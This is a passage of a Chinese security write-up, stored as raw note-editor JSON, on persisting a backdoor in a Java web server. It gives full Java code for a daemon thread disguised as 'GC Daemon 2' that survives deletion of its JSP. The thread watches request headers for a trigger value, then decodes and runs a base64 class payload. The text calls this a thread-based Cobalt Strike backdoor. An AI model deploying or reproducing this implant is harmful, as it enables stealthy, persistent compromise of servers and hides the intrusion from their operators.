255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GcRg-1655030432406&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Q8A-1655030432403&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lfEB-1655030432907&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/5/WEBRESOURCE11a70e7ad698e5b8119479cf38ca6635&#34;,&#34;version&#34;:1,&#34;width&#34;:604,&#34;height&#34;:371},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/5/WEBRESOURCE11a70e7ad698e5b8119479cf38ca6635&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:464},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T99Q-1655030432913&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;64Xp-1655030432911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GCTA-1654852949308&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/8/WEBRESOURCE81aea4b86aa7ec69df8f5874bfa66498&#34;,&#34;version&#34;:1,&#34;width&#34;:761,&#34;height&#34;:541},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/8/WEBRESOURCE81aea4b86aa7ec69df8f5874bfa66498&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:541},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DTFg-1654852949313&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UYL1-1654852949311&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RcFj-1654852981119&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LPJy-1654852981116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;根据守护线程的特性，将相关jsp删除后此段代码仍将线程中执行：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SmlV-1655030564632&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/0/WEBRESOURCE8ea4498b56d1eb3106eb610ba51d1570&#34;,&#34;version&#34;:1,&#34;width&#34;:534,&#34;height&#34;:266},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/0/WEBRESOURCE8ea4498b56d1eb3106eb610ba51d1570&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:372},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;od5o-1655030598621&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCEfd50128e80a94a470c07a3ba291a3d86&#34;,&#34;version&#34;:1,&#34;width&#34;:491,&#34;height&#34;:300},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCEfd50128e80a94a470c07a3ba291a3d86&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:461},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5C3z-1655030573762&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Sm1l-1655030573760&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;达到持久化的效果：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Emy8-1655030713553&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/7/WEBRESOURCEb12f4e92672df608dff08c50e40947a7&#34;,&#34;version&#34;:1,&#34;width&#34;:574,&#34;height&#34;:405},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/7/WEBRESOURCEb12f4e92672df608dff08c50e40947a7&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:533},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5tVn-1655030604051&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zDF7-1655030604050&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3zfa-1655030878968&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zAjd-1655030878952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;组合利用&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mlqu-1654852299384&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zUr2-1654852299381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;利用很简单，将上述两位师傅的方法组合一下即可，在header头中获取到特征值既执行我们预先设置好的shellcode：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kjjs-1655037197835&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;,&#34;wrap&#34;:false},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RXqc-1655037197834&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MT3V-1655030962722&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  Thread d = new Thread(getSystemThreadGroup(), new Runnable() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6UCC-1655037260171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2BZu-1655037260170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public void run() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TLCX-1655037260173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;apCo-1655037260172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uE4S-1655037260175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZKln-1655037260174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            while (true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;exeB-1655037260177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTQb-1655037260176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hjKF-1655037260179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NqmI-1655037260178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0jfl-1655037260181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K6qb-1655037260180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    List&lt;Object&gt;list = getRequest();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w6I8-1655037260183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fs9J-1655037260182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (list.size() == 2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;amD1-1655037260185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VSdz-1655037260184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6GoJ-1655037260187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TKeE-1655037260186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                            Runtime.getRuntime().exec(list.get(1).toString());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wuRG-1655037260189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x515-1655037260188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            class Myloader extends ClassLoader&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LSd1-1655037260192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bbMT-1655037260191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K1fA-1655037260194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qihy-1655037260193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                public Class get(byte[] b) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZDHb-1655037260196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ju0Y-1655037260195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    return super.defineClass(b, 0, b.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WFMG-1655037260198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2ljn-1655037260197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jzx3-1655037260200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HHKh-1655037260199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wRdf-1655037260203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0Gmt-1655037260201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5J5o-1655037260205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ep3R-1655037260204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VclW-1655037260207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;18iH-1655037260206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            String classStr = \&#34;payload\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bBGy-1655037289768&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7nVw-1655037289766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            Class result = new Myloader().get(Base64.getDecoder().decode(classStr));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1TDl-1655037260215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;awAN-1655037260214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bAGx-1655037260217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ovc0-1655037260216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                for (Method m : result.getDeclaredMethods()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VnX2-1655037260219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sSvS-1655037260218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    System.out.println(m.getName());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hy3t-1655037260221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2AGD-1655037260220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    if (m.getName().equals(\&#34;run\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ggTr-1655037260223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MtUQ-1655037260222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        m.invoke(result);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yFXe-1655037260225&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hEeI-1655037260224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XupS-1655037260227&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cOQK-1655037260226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OvQY-1655037260229&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ing2-1655037260228&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fDad-1655037260231&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6ok-1655037260230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dqyG-1655037260233&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q9Zu-1655037260232&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SqK4-1655037260235&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MvTQ-1655037260234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L1DQ-1655037260237&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gWKq-1655037260236&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ueQa-1655037260239&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ARJe-1655037260238&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cRoC-1655037260241&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iFLc-1655037260240&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ldh5-1655037260243&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dKx3-1655037260242&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j7po-1655037260245&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A20f-1655037260244&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Thread.sleep(10000);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xWlq-1655037260247&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SoUv-1655037260246&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ngrc-1655037260249&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MWOz-1655037260248&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xJ50-1655037260251&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MsCF-1655037260250&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YC81-1655037260253&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k4Bb-1655037260252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;syJF-1655037260256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PDZ6-1655037260255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }, \&#34;GC Daemon 2\&#34;, 0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YxzJ-1655037260258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FB1A-1655037260257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zCFu-1655037260260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uUNt-1655037260259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    d.setDaemon(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yMRE-1655037260262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O7zd-1655037260261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    d.start();&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Klj6-1655036903500&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0Jmf-1655036903496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0x1M-1655036904475&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE5d677c0da791d6f1f82c8ef3356a43fd&#34;,&#34;version&#34;:1,&#34;width&#34;:761,&#34;height&#34;:472},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE5d677c0da791d6f1f82c8ef3356a43fd&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:472},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kgps-1654852299587&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jHn0-1654852299585&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;header头中携带我们设置好的字段，值随意：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hYqD-1655037095691&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE078a75cde197dc4161862fe81ecf8a1d&#34;,&#34;version&#34;:1,&#34;width&#34;:761,&#34;height&#34;:505},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE078a75cde197dc4161862fe81ecf8a1d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:505},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9HC2-1655037094545&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d3nn-1655037094542&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;既简单实现一个线程型cs后门。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zH2Z-1655037339361&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6onN-1655037339358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 